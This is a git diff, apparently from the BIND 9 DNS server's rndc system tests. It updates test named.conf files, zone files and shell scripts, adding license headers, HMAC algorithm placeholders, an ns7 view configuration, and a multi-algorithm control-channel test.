- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	default-key     "secondkey";
-};
-
-key secondkey {
-	secret "abcd1234abcd8765";
-	algorithm hmac-sha256;
-};
diff --git a/bin/tests/system/rndc/ns2/secondkey.conf.in b/bin/tests/system/rndc/ns2/secondkey.conf.in
new file mode 100644
index 0000000000..4f881537c2
--- /dev/null
+++ b/bin/tests/system/rndc/ns2/secondkey.conf.in
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	default-key     "secondkey";
+};
+
+key secondkey {
+	secret "abcd1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/rndc/ns3/named.conf.in b/bin/tests/system/rndc/ns3/named.conf.in
index dd3529559e..20fe0ea182 100644
--- a/bin/tests/system/rndc/ns3/named.conf.in
+++ b/bin/tests/system/rndc/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,16 +16,17 @@ options {
 	pid-file "named.pid";
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 key secondkey {
 	secret "abcd1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rndc/ns4/named.conf.in b/bin/tests/system/rndc/ns4/named.conf.in
index 4f009a7c2d..6dc37ec3b2 100644
--- a/bin/tests/system/rndc/ns4/named.conf.in
+++ b/bin/tests/system/rndc/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,13 +17,22 @@ options {
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion yes;
-    dnssec-validation yes;
+	dnssec-validation yes;
 };
 
 view normal {
 	match-clients { any; };
+
+	zone example {
+		type primary;
+		file "example.db";
+		allow-update { any; };
+	};
 };
 
 view "view with a space" {
 	match-clients { none; };
+	zone example {
+		in-view normal;
+	};
 };
diff --git a/bin/tests/system/rndc/ns5/named.conf.in b/bin/tests/system/rndc/ns5/named.conf.in
index 889623eac5..e32fa49fdf 100644
--- a/bin/tests/system/rndc/ns5/named.conf.in
+++ b/bin/tests/system/rndc/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,11 +17,12 @@ options {
 	listen-on { 10.53.0.5; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rndc/ns6/named.args b/bin/tests/system/rndc/ns6/named.args
index 9d7d03aaac..331f7f4125 100644
--- a/bin/tests/system/rndc/ns6/named.args
+++ b/bin/tests/system/rndc/ns6/named.args
@@ -1,3 +1,3 @@
-# teardown of a huge zone with tracing enabled takes way too long 
+# teardown of a huge zone with tracing enabled takes way too long
 # -m none is set so that stop.pl does not timeout
 -D rndc-ns6 -X named.lock -m none -c named.conf -d 99 -g -U 4 -T maxcachesize=2097152
diff --git a/bin/tests/system/rndc/ns6/named.conf.in b/bin/tests/system/rndc/ns6/named.conf.in
index 5a57730993..a465a205ae 100644
--- a/bin/tests/system/rndc/ns6/named.conf.in
+++ b/bin/tests/system/rndc/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,11 +17,12 @@ options {
 	listen-on { 10.53.0.6; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rndc/ns7/include.db.in b/bin/tests/system/rndc/ns7/include.db.in
new file mode 100644
index 0000000000..011997b758
--- /dev/null
+++ b/bin/tests/system/rndc/ns7/include.db.in
@@ -0,0 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@		86400	IN SOA	ns7 hostmaster 1 5 5 1814400 3600
+@			NS	ns7
+ns7			A	10.53.0.7
+
+text1			TXT	"include 1"
diff --git a/bin/tests/system/rndc/ns7/include2.db.in b/bin/tests/system/rndc/ns7/include2.db.in
new file mode 100644
index 0000000000..e5d198181e
--- /dev/null
+++ b/bin/tests/system/rndc/ns7/include2.db.in
@@ -0,0 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@		86400	IN SOA	ns7 hostmaster 4 5 5 1814400 3600
+@			NS	ns7
+ns7			A	10.53.0.7
+
+text1			TXT	"include 2"
diff --git a/bin/tests/system/rndc/ns7/named.conf.in b/bin/tests/system/rndc/ns7/named.conf.in
new file mode 100644
index 0000000000..2d4bf7f49c
--- /dev/null
+++ b/bin/tests/system/rndc/ns7/named.conf.in
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.7; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+key int {
+	algorithm @DEFAULT_HMAC@;
+	secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
+};
+
+key ext {
+	algorithm @DEFAULT_HMAC@;
+	secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
+};
+
+controls {
+	inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+view internal {
+	match-clients { key "int"; };
+
+	zone "test" {
+		type primary;
+		update-policy { grant int zonesub any; };
+		file "test.db";
+		ixfr-from-differences yes;
+	};
+};
+
+view external {
+	match-clients { key "ext"; };
+
+	zone "test" {
+		in-view internal;
+	};
+};
diff --git a/bin/tests/system/rndc/ns7/test.db.in b/bin/tests/system/rndc/ns7/test.db.in
new file mode 100644
index 0000000000..0bff14e911
--- /dev/null
+++ b/bin/tests/system/rndc/ns7/test.db.in
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+$INCLUDE "include.db"
diff --git a/bin/tests/system/rndc/setup.sh b/bin/tests/system/rndc/setup.sh
index 4c65acec8e..5d8e5a7ddb 100644
--- a/bin/tests/system/rndc/setup.sh
+++ b/bin/tests/system/rndc/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,8 +17,13 @@ $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 >ns2/nil.db
 $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 >ns2/other.db
 $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 >ns2/static.db
 
+$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 >ns4/example.db
+
 $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 >ns6/huge.zone.db
 
+cp ns7/test.db.in ns7/test.db
+cp ns7/include.db.in ns7/include.db
+
 # we make the huge zone less huge if we're running under
 # TSAN, to give the test a fighting chance not to time out.
 size=1000000
@@ -27,21 +34,34 @@ awk 'END { for (i = 1; i <= '${size}'; i++)
      printf "host%d IN A 10.53.0.6\n", i; }' < /dev/null >> ns6/huge.zone.db
 
 copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns2/secondkey.conf.in ns2/secondkey.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 copy_setports ns4/named.conf.in ns4/named.conf
 copy_setports ns5/named.conf.in ns5/named.conf
 copy_setports ns6/named.conf.in ns6/named.conf
+copy_setports ns7/named.conf.in ns7/named.conf
 
+keyset=
 make_key () {
     $RNDCCONFGEN -k key$1 -A $3 -s 10.53.0.4 -p $2 \
             > ns4/key${1}.conf 2> /dev/null
-    egrep -v '(^# Start|^# End|^# Use|^[^#])' ns4/key$1.conf | cut -c3- | \
+    grep -E -v '(^# Start|^# End|^# Use|^[^#])' ns4/key$1.conf | cut -c3- | \
             sed 's/allow { 10.53.0.4/allow { any/' >> ns4/named.conf
+    key='"'key$1'";'
+    keyset="$keyset $key"
 }
 
-make_key 1 ${EXTRAPORT1} hmac-md5
+$FEATURETEST --md5 && make_key 1 ${EXTRAPORT1} hmac-md5
 make_key 2 ${EXTRAPORT2} hmac-sha1
 make_key 3 ${EXTRAPORT3} hmac-sha224
 make_key 4 ${EXTRAPORT4} hmac-sha256
 make_key 5 ${EXTRAPORT5} hmac-sha384
 make_key 6 ${EXTRAPORT6} hmac-sha512
+
+cat >> ns4/named.conf <<- EOF
+
+controls {
+	inet 10.53.0.4 port ${EXTRAPORT7}
+		allow { any; } keys { $keyset };
+};
+EOF
diff --git a/bin/tests/system/rndc/tests.sh b/bin/tests/system/rndc/tests.sh
index 6065ade8b8..edcf1cafb7 100644
--- a/bin/tests/system/rndc/tests.sh
+++ b/bin/tests/system/rndc/tests.sh
@@ -1,18 +1,23 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd"
-DIGCMD="$DIG $DIGOPTS @10.53.0.2 -p ${PORT}"
+DIGOPTS=""
+DIGCMD="$DIG $DIGOPTS -p ${PORT}"
 RNDCCMD="$RNDC -p ${CONTROLPORT} -c ../common/rndc.conf -s"
 
 status=0
@@ -40,7 +45,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "rndc freeze"
-$RNDCCMD 10.53.0.2 freeze | sed 's/^/ns2 /' | cat_i | cat_i
+$RNDCCMD 10.53.0.2 freeze | sed 's/^/ns2 /' | cat_i
 
 n=$((n+1))
 echo_i "checking zone was dumped ($n)"
@@ -73,7 +78,7 @@ update add text2.nil. 600 IN TXT "addition 2"
 send
 END
 
-$DIGCMD text2.nil. TXT > dig.out.1.test$n
+$DIGCMD @10.53.0.2 text2.nil. TXT > dig.out.1.test$n || ret=1
 grep 'addition 2' dig.out.1.test$n >/dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -90,7 +95,7 @@ zone nil.
 update add text3.nil. 600 IN TXT "addition 3"
 send
 END
-$DIGCMD text3.nil. TXT > dig.out.1.test$n
+$DIGCMD @10.53.0.2 text3.nil. TXT > dig.out.1.test$n || ret=1
 grep 'addition 3' dig.out.1.test$n >/dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -130,7 +135,7 @@ update add text4.nil. 600 IN TXT "addition 4"
 send
 END
 
-$DIGCMD text4.nil. TXT > dig.out.1.test$n
+$DIGCMD @10.53.0.2 text4.nil. TXT > dig.out.1.test$n || ret=1
 grep 'addition 4' dig.out.1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -170,7 +175,7 @@ update add text5.nil. 600 IN TXT "addition 5"
 send
 END
 
-$DIGCMD text4.nil. TXT > dig.out.1.test$n
+$DIGCMD @10.53.0.2 text4.nil. TXT > dig.out.1.test$n || ret=1
 grep 'addition 4' dig.out.1.test$n >/dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -202,7 +207,7 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "checking that freezing static zones is not allowed ($n)"
 ret=0
-$RNDCCMD 10.53.0.2 freeze static > rndc.out.1.test$n 2>&1
+$RNDCCMD 10.53.0.2 freeze static > rndc.out.1.test$n 2>&1 && ret=1
 grep 'not dynamic' rndc.out.1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -226,7 +231,7 @@ do
 	grep "addition 6" ns2/other.db > /dev/null && break
 	sleep 1
 done
-serial=`awk '$3 ~ /serial/ {print $1}' ns2/other.db`
+serial=$(awk '$3 ~ /serial/ {print $1}' ns2/other.db)
 newserial=$((serial + 1))
 sed s/$serial/$newserial/ ns2/other.db > ns2/other.db.new
 echo 'frozen TXT "frozen addition"' >> ns2/other.db.new
@@ -234,7 +239,7 @@ mv -f ns2/other.db.new ns2/other.db
 $RNDCCMD 10.53.0.2 thaw 2>&1 | sed 's/^/ns2 /' | cat_i
 sleep 1
 [ -f ns2/other.db.jnl ] && {
-	echo_i "'test -f ns2/other.db.jnl' succeeded when it shouldn't have"; ret=1;
+    echo_i "'test -f ns2/other.db.jnl' succeeded when it shouldn't have"; ret=1;
 }
 $NSUPDATE -p ${PORT} -k ns2/session.key > nsupdate.out.2.test$n 2>&1 <<END || ret=1
 server 10.53.0.2
@@ -242,11 +247,11 @@ zone other.
 update add text7.other. 600 IN TXT "addition 7"
 send
 END
-$DIGCMD text6.other. TXT > dig.out.1.test$n
+$DIGCMD @10.53.0.2 text6.other. TXT > dig.out.1.test$n || ret=1
 grep 'addition 6' dig.out.1.test$n >/dev/null || ret=1
-$DIGCMD text7.other. TXT > dig.out.2.test$n
+$DIGCMD @10.53.0.2 text7.other. TXT > dig.out.2.test$n || ret=1
 grep 'addition 7' dig.out.2.test$n >/dev/null || ret=1
-$DIGCMD frozen.other. TXT > dig.out.3.test$n
+$DIGCMD @10.53.0.2 frozen.other. TXT > dig.out.3.test$n || ret=1
 grep 'frozen addition' dig.out.3.test$n >/dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -269,7 +274,7 @@ do
 	grep "addition 6" ns2/nil.db > /dev/null && break
 	sleep 1
 done
-serial=`awk '$3 ~ /serial/ {print $1}' ns2/nil.db`
+serial=$(awk '$3 ~ /serial/ {print $1}' ns2/nil.db)
 newserial=$((serial + 1))
 sed s/$serial/$newserial/ ns2/nil.db > ns2/nil.db.new
 echo 'frozen TXT "frozen addition"' >> ns2/nil.db.new
@@ -285,11 +290,11 @@ zone nil.
 update add text7.nil. 600 IN TXT "addition 7"
 send
 END
-$DIGCMD text6.nil. TXT > dig.out.1.test$n
+$DIGCMD @10.53.0.2 text6.nil. TXT > dig.out.1.test$n || ret=1
 grep 'addition 6' dig.out.1.test$n > /dev/null || ret=1
-$DIGCMD text7.nil. TXT > dig.out.2.test$n
+$DIGCMD @10.53.0.2 text7.nil. TXT > dig.out.2.test$n || ret=1
 grep 'addition 7' dig.out.2.test$n > /dev/null || ret=1
-$DIGCMD frozen.nil. TXT > dig.out.3.test$n
+$DIGCMD @10.53.0.2 frozen.nil. TXT > dig.out.3.test$n || ret=1
 grep 'frozen addition' dig.out.3.test$n >/dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -321,7 +326,7 @@ n=$((n+1))
 echo_i "test 'rndc reload' on a zone with include files ($n)"
 ret=0
 grep "incl/IN: skipping load" ns2/named.run > /dev/null && ret=1
-loads=`grep "incl/IN: starting load" ns2/named.run | wc -l`
+loads=$(grep "incl/IN: starting load" ns2/named.run | wc -l)
 [ "$loads" -eq 1 ] || ret=1
 $RNDCCMD 10.53.0.2 reload > /dev/null || ret=1
 for i in 1 2 3 4 5 6 7 8 9
@@ -337,7 +342,7 @@ $RNDCCMD 10.53.0.2 reload > /dev/null || ret=1
 for i in 1 2 3 4 5 6 7 8 9
 do
     tmp=0
-    loads=`grep "incl/IN: starting load" ns2/named.run | wc -l`
+    loads=$(grep "incl/IN: starting load" ns2/named.run | wc -l)
     [ "$loads" -eq 2 ] || tmp=1
     [ $tmp -eq 0 ] && break
     sleep 1
@@ -347,15 +352,19 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "testing rndc with hmac-md5 ($n)"
-ret=0
-$RNDC -s 10.53.0.4 -p ${EXTRAPORT1} -c ns4/key1.conf status > /dev/null 2>&1 || ret=1
-for i in 2 3 4 5 6
-do
-        $RNDC -s 10.53.0.4 -p ${EXTRAPORT1} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
-done
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
+if $FEATURETEST --md5; then
+	echo_i "testing rndc with hmac-md5 ($n)"
+	ret=0
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT1} -c ns4/key1.conf status > /dev/null 2>&1 || ret=1
+	for i in 2 3 4 5 6
+	do
+	        $RNDC -s 10.53.0.4 -p ${EXTRAPORT1} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
+	done
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+else
+	echo_i "skipping rndc with hmac-md5 ($n)"
+fi
 
 n=$((n+1))
 echo_i "testing rndc with hmac-sha1 ($n)"
@@ -363,7 +372,7 @@ ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT2} -c ns4/key2.conf status > /dev/null 2>&1 || ret=1
 for i in 1 3 4 5 6
 do
-        $RNDC -s 10.53.0.4 -p ${EXTRAPORT2} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT2} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -374,7 +383,7 @@ ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT3} -c ns4/key3.conf status > /dev/null 2>&1 || ret=1
 for i in 1 2 4 5 6
 do
-        $RNDC -s 10.53.0.4 -p ${EXTRAPORT3} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT3} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -385,7 +394,7 @@ ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT4} -c ns4/key4.conf status > /dev/null 2>&1 || ret=1
 for i in 1 2 3 5 6
 do
-        $RNDC -s 10.53.0.4 -p ${EXTRAPORT4} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT4} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -396,7 +405,7 @@ ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT5} -c ns4/key5.conf status > /dev/null 2>&1 || ret=1
 for i in 1 2 3 4 6
 do
-        $RNDC -s 10.53.0.4 -p ${EXTRAPORT5} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT5} -c ns4/key${i}.conf status > /dev/null 2>&1 && ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -407,7 +416,18 @@ ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf status > /dev/null 2>&1 || ret=1
 for i in 1 2 3 4 5
 do
-        $RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key${i}.conf status > /dev/null 2>&1 2>&1 && ret=1
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key${i}.conf status > /dev/null 2>&1 2>&1 && ret=1
+done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing single control channel with multiple algorithms ($n)"
+ret=0
+for i in 1 2 3 4 5 6
+do
+	test $i = 1 && $FEATURETEST --have-fips-mode && continue
+	$RNDC -s 10.53.0.4 -p ${EXTRAPORT7} -c ns4/key${i}.conf status > /dev/null 2>&1 || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -416,7 +436,7 @@ n=$((n+1))
 echo_i "testing automatic zones are reported ($n)"
 ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf status > rndc.out.1.test$n || ret=1
-grep "number of zones: 200 (198 automatic)" rndc.out.1.test$n > /dev/null || ret=1
+grep "number of zones: 199 (198 automatic)" rndc.out.1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -442,22 +462,22 @@ ret=0
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf querylog on >/dev/null 2>&1 || ret=1
 grep "query logging is now on" ns4/named.run > /dev/null || ret=1
 # query for builtin and check if query was logged (without +subnet)
-$DIG @10.53.0.4 -p ${PORT} -c ch -t txt foo12345.bind > /dev/null || ret=1
+$DIG @10.53.0.4 -p ${PORT} -c ch -t txt foo12345.bind +qr > dig.out.1.test$n 2>&1 || ret=1
 grep "query: foo12345.bind CH TXT.*(.*)$" ns4/named.run > /dev/null || ret=1
 # query for another builtin zone and check if query was logged (with +subnet=127.0.0.1)
-$DIG +subnet=127.0.0.1 @10.53.0.4 -p ${PORT} -c ch -t txt foo12346.bind > /dev/null || ret=1
-grep "query: foo12346.bind CH TXT.*\[ECS 127\.0\.0\.1\/32\/0]" ns4/named.run > /dev/null || ret=1
+$DIG +subnet=127.0.0.1 @10.53.0.4 -p ${PORT} -c ch -t txt foo12346.bind +qr > dig.out.2.test$n 2>&1 || ret=1
+grep "query: foo12346.bind CH TXT.*\[ECS 127\.0\.0\.1/32/0]" ns4/named.run > /dev/null || ret=1
 # query for another builtin zone and check if query was logged (with +subnet=127.0.0.1/24)
-$DIG +subnet=127.0.0.1/24 @10.53.0.4 -p ${PORT} -c ch -t txt foo12347.bind > /dev/null || ret=1
-grep "query: foo12347.bind CH TXT.*\[ECS 127\.0\.0\.0\/24\/0]" ns4/named.run > /dev/null || ret=1
+$DIG +subnet=127.0.0.1/24 @10.53.0.4 -p ${PORT} -c ch -t txt foo12347.bind +qr > dig.out.3.test$n 2>&1 || ret=1
+grep "query: foo12347.bind CH TXT.*\[ECS 127\.0\.0\.0/24/0]" ns4/named.run > /dev/null || ret=1
 # query for another builtin zone and check if query was logged (with +subnet=::1)
-$DIG +subnet=::1 @10.53.0.4 -p ${PORT} -c ch -t txt foo12348.bind > /dev/null || ret=1
-grep "query: foo12348.bind CH TXT.*\[ECS \:\:1\/128\/0]" ns4/named.run > /dev/null || ret=1
+$DIG +subnet=::1 @10.53.0.4 -p ${PORT} -c ch -t txt foo12348.bind +qr > dig.out.4.test$n 2>&1 || ret=1
+grep "query: foo12348.bind CH TXT.*\[ECS ::1/128/0]" ns4/named.run > /dev/null || ret=1
 # toggle query logging and check again
 $RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf querylog > /dev/null 2>&1 || ret=1
 grep "query logging is now off" ns4/named.run > /dev/null || ret=1
 # query for another builtin zone and check if query was logged (without +subnet)
-$DIG @10.53.0.4 -p ${PORT} -c ch -t txt foo9876.bind > /dev/null || ret=1
+$DIG @10.53.0.4 -p ${PORT} -c ch -t txt foo9876.bind +qr > dig.out.5.test$n 2>&1 || ret=1
 grep "query: foo9876.bind CH TXT.*(.*)$" ns4/named.run > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -472,7 +492,7 @@ $RNDCCMD4 nta -l 1d nta2.example > rndc.out.2.test$n 2>&1
 grep "Negative trust anchor added" rndc.out.2.test$n > /dev/null || ret=1
 $RNDCCMD4 nta -l 1w nta3.example > rndc.out.3.test$n 2>&1
 grep "Negative trust anchor added" rndc.out.3.test$n > /dev/null || ret=1
-$RNDCCMD4 nta -l 8d nta4.example > rndc.out.4.test$n 2>&1
+$RNDCCMD4 nta -l 8d nta4.example > rndc.out.4.test$n 2>&1 && ret=1
 grep "NTA lifetime cannot exceed one week" rndc.out.4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -487,7 +507,7 @@ $RNDCCMD4 nta -c any nta1.example > rndc.out.2.test$n 2>&1
 nextpart ns4/named.run | grep "added NTA 'nta1.example'" > /dev/null || ret=1
 $RNDCCMD4 nta -c ch nta1.example > rndc.out.3.test$n 2>&1
 nextpart ns4/named.run | grep "added NTA 'nta1.example'" > /dev/null && ret=1
-$RNDCCMD4 nta -c fake nta1.example > rndc.out.4.test$n 2>&1
+$RNDCCMD4 nta -c fake nta1.example > rndc.out.4.test$n 2>&1 && ret=1
 nextpart ns4/named.run | grep "added NTA 'nta1.example'" > /dev/null && ret=1
 grep 'unknown class' rndc.out.4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -495,20 +515,20 @@ status=$((status+ret))
 
 for i in 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288
 do
-        n=$((n+1))
+	n=$((n+1))
 	echo_i "testing rndc buffer size limits (size=${i}) ($n)"
 	ret=0
 	$RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf testgen ${i} 2>&1 > rndc.out.$i.test$n || ret=1
-	actual_size=`$GENCHECK rndc.out.$i.test$n`
-	if [ "$?" = "0" ]; then
-            expected_size=$((i+1))
+	{ actual_size=$($GENCHECK rndc.out.$i.test$n); rc=$?; } || true
+	if [ "$rc" = "0" ]; then
+	    expected_size=$((i+1))
